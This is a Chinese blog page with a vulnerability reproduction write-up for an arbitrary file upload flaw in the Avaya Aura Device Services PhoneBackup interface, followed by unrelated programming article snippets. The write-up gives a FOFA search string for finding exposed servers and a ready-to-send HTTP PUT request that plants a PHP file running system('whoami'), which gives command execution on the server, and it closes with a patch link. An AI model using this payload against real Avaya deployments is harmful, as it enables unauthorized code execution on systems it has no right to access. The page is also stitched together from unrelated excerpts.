当前位置：首页 > news >正文

Avaya Aura Device Services 任意文件上传漏洞复现

news 2026/2/8 0:31:45

0x01 产品简介

Avaya Aura Device Services是美国Avaya公司的一个应用软件。提供一个管理 Avaya 端点功能。

0x02 漏洞概述

Avaya Aura Device Services 系统PhoneBackup接口处存在任意文件上传漏洞，攻击者可绕过验证上传任意文件获取服务器权限。

0x03 影响范围

Avaya Aura Device Services 7.0-8.1.4.0版本

0x04 复现环境

FOFA：app="AVAYA-Aura-Utility-Server"

0x05 漏洞复现

PoC

PUT /PhoneBackup/123.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: AVAYA
Content-Length: 23<?php system('whoami');

PS：简单粗暴，直接put上传

验证

0x06 修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://support.avaya.com/。

Avaya Aura Device Services 任意文件上传漏洞复现

0x01 产品简介 Avaya Aura Device Services是美国Avaya公司的一个应用软件。提供一个管理 Avaya 端点功能。 0x02 漏洞概述 Avaya Aura Device Services 系统PhoneBackup接口处存在任意文件上传漏洞，攻击者可绕过验证上传任意文件获取服务器权限。 0x03 影响范围…...

编程日记 2023/12/10 2:09:38

C#注册表技术及操作

目录一、注册表基础 1.Registry和RegistryKey类 （1）Registry类 （2）RegistryKey类二、在C#中操作注册表 1.读取注册表中的信息 （1）OpenSubKey()方法 （2）GetSubKeyNames()…...

编程日记 2023/12/10 2:08:36

js/jQuery常见操作之各种语法例子（包括jQuery中常见的与索引相关的选择器）

js/jQuery常见操作之各种语法例子（包括jQuery中常见的与索引相关的选择器） 1. 操作table常见的1.1 动态给table添加title（指定td）1.1.1 给td动态添加title（含：获取tr的第几个td）1.1.2 动态加工…...

编程日记 2023/12/10 2:07:36

C语言数组（下）

我希望各位可以在思考之后去看本期练习，并且在观看之后独立编写一遍，以加深理解，巩固知识点。练习一：编写代码，演⽰多个字符从两端移动，向中间汇聚我们依旧先上代码 //编写代码，演⽰多个字…...

编程日记 2023/12/10 2:06:35

pytorch学习5-最大池化层的使用

系列文章目录 pytorch学习1-数据加载以及Tensorboard可视化工具pytorch学习2-Transforms主要方法使用pytorch学习3-torchvisin和Dataloader的使用pytorch学习4-简易卷积实现pytorch学习5-最大池化层的使用pytorch学习6-非线性变换（ReLU和sigmoid）pytorc…...

编程日记 2023/12/10 2:05:34

在python中安装库，会有conda安装，也会有pip安装，conda与pip的区别是什么？

文章目录一、Conda是什么？二、pip是什么？三、pip与conda的区别：总结一、Conda是什么？ Conda是一个开源的包管理系统，它是Anaconda公司为Python和其他编程语言开发的。它主要用于数据科学和机器学习领域，…...

编程日记 2023/12/10 2:00:27

算法-贪心思想

贪心的思想非常不好解释，而且越使用权威的语言解释越难懂。而且做题的时候根据自己的理解可能直接做出来，但是非要解释一下怎么使用的贪心的话，就懵圈了。一般来说，贪心的题目没有固定的套路，一题一样，不过…...

编程日记 2023/12/10 1:59:26

STL源码剖析笔记——适配器（adapters）

系列文章目录 STL源码剖析笔记——迭代器 STL源码剖析笔记——vector STL源码剖析笔记——list STL源码剖析笔记——deque、stack，queue STL源码剖析笔记——Binary Heap、priority_queue STL源码剖析笔记——AVL-tree、RB-tree、set、map、mutiset、mutimap STL源…...

编程日记 2023/12/10 1:54:22

Mysql、Oracle区分大小写？

Mysql Windows 系统的文件名不区分大小写，所以运行在 Windows 系统上面的 MySQL 服务器也不用区分数据库名和表名的大小写。Linux 系统大小写规则： 数据库名与表名严格区分大小写表的别名严格区分大小写变量名严格区分大小写列名与列的别名忽略大小写 M…...

编程日记 2023/12/10 1:50:18

Java多线程并发（二）

四种线程池 Java 里面线程池的顶级接口是 Executor，但是严格意义上讲 Executor 并不是一个线程池，而只是一个执行线程的工具。真正的线程池接口是 ExecutorService。 newCachedThreadPool 创建一个可根据需要创建新线程的线程池，但是在以前…...

编程日记 2023/12/10 1:49:17

树莓派外接上显示器以后一直黑屏无画面显示

一般遇到这种情况都是因为没有强制支持热插拔引起的，先断电树莓派，确保显示器与树莓派连接正常，然后上电就可以正常显示了。如果想要支持热插拔，可以修改配置文件。 sudo nano /boot/config.txt 修改如下配置 hdmi_force_hotpl…...

编程日记 2023/12/10 1:47:15

使用Ansible lineinfile模块进行行级别操作

Ansible是一种功能强大的自动化工具，它提供了各种模块来简化配置管理任务。其中，lineinfile模块是一种特别有用的模块，它允许我们在文件中插入、修改或删除行。本文将介绍Ansible的lineinfile模块，并演示如何使用它来进行行级别操…...

编程日记 2023/12/10 1:45:14

cd /Users/haijunyan/Desktop/CustomKit/KeepThreadAlive/KeepThreadAlive //Podfile所在文件夹 git config --global https.postBuffer 10485760000 git config --global http.postBuffer 10485760000 pod install https://blog.csdn.net/weixin_41872403/article/details/86…...

编程日记 2023/12/10 1:43:13

5G+AI开花结果，助力智慧安检落地

“请带包的乘客过机安检！”，深圳地铁、腾讯共同打造的5GAI智慧安检辅助系统亮相福田枢纽站，进一步解放了人力，提高安检效率，为交通安全保驾护航，让智慧出行成为现实。传统的安检设备均为人工肉眼辨识&…...

编程日记 2023/12/10 1:42:11

Swift 如何实现自定义 Tab Bar

前言每个 UI 设计师都喜欢美丽而有动画效果的 Tab Bar。然而，对于开发人员来说，实现这种设计可能是一场噩梦。当然，使用 Apple 的原生 Tab Bar 组件并专注于更有趣的事情，比如业务逻辑的实现，会更容易。但如果我们必…...

编程日记 2023/12/10 1:41:09

mysql 语言学习

整理了一下 mysql 操作语言，不是很全，部分地方也许需要修改，先放上来，有时间再慢慢完善。一、数据库操作连接数据库 $ sudo mysql [-h ip] -u root -p [-P 3306] 初始化数据库 $ mysql_secure_installation备份数据库 # 备…...

编程日记 2023/12/10 1:39:07

微信小程序基础bug

1.苹果11手机小程序请求数据不显示设置-》隐私-》分析与改进-》开启 ”与开发者共享“ 2.<navigator>组件回退delta不成功 tabBar 页面是不能实现后退的效果的. 因为, 当我们跳转到 tabBar 页面，会关闭其他所有非tabBar 页面,所以当处于 tabBar 页面时, 无…...

编程日记 2023/12/10 1:29:58

13、pytest为失败的断言定义自己的解释

官方实例 # content of ocnftest.py from test_foocompare import Foodef pytest_assertrepr_compare(op, left, right):if isinstance(left, Foo) and isinstance(right, Foo) and op "":return["Comparing Foo instances:",f" vals:{left.val} !…...

编程日记 2023/12/10 1:26:55

Flink优化——数据倾斜（二）

目录数据倾斜判断是否存在数据倾斜数据倾斜的解决 KeyBy之前发生数据倾斜 KeyBy之后发生的数据倾斜聚合操作存在数据倾斜窗口聚合操作存在数据倾斜数据倾斜判断是否存在数据倾斜相同 Task 的多个 Subtask 中，个别 Subtask 接收到的数据量明显大于其…...

编程日记 2023/12/10 1:25:54

Unity打包到Webgl平台以及遇到的问题

Unity打包到Webgl平台以及遇到的问题参考网站 Unity打包WebGL的全过程及在打包和使用过程中会遇到的问题(本地测试)-CSDN博客 unity打包到Webgl 并配置能正常运行这里我用的是Unity2022.3.3f1c1版本有两种方法 1、配置本地web服务 2、安装vsCode>添加插件LiveServe…...

编程日记 2023/12/10 1:24:53

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下： struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

编程新知 2025/11/27 21:52:13